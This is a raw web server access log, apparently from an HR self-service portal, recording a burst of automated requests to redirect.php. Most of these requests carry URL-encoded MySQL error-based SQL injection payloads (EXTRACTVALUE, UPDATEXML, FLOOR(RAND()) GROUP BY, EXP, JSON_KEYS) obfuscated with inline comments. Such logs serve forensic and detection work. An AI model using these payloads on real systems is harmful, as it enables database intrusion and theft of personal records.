100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x39674f4b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55336b42%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x55696977%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48424450%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x55696977%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48424450%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a423967%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51396c70%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a423967%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51396c70%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x77345830%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c45314b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x77345830%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c45314b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x35417350%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44536e6d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x48576231%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5234696a%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:49 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x48576231%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5234696a%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x59436953%2C%28NULL%29%2C0x3176765a%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F-%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x5077684d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51457359%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x55696977%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48424450%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x39674f4b%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55336b42%29%29%2C1%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6a423967%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51396c70%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x77345830%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c45314b%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6a325159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57786443%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6a325159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57786443%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x48576231%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5234696a%29%29x%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x357a7742%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78784a31%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FcEJ1%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x69776530%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5954586c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FxuEY%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x69776530%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5954586c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FxuEY%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x694a746d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77654964%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x694a746d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77654964%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6a325159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57786443%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x69776530%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5954586c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FxuEY%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4244396c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x626f7134%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4244396c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x626f7134%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x69476d64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a667665%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x69476d64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a667665%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6e417254%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7347414e%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6e417254%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7347414e%29%2C5431%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x75615571%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51426972%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x75615571%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x51426972%29%29--%2F%2A%2A%2F-&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:50 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x694a746d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77654964%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F-&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
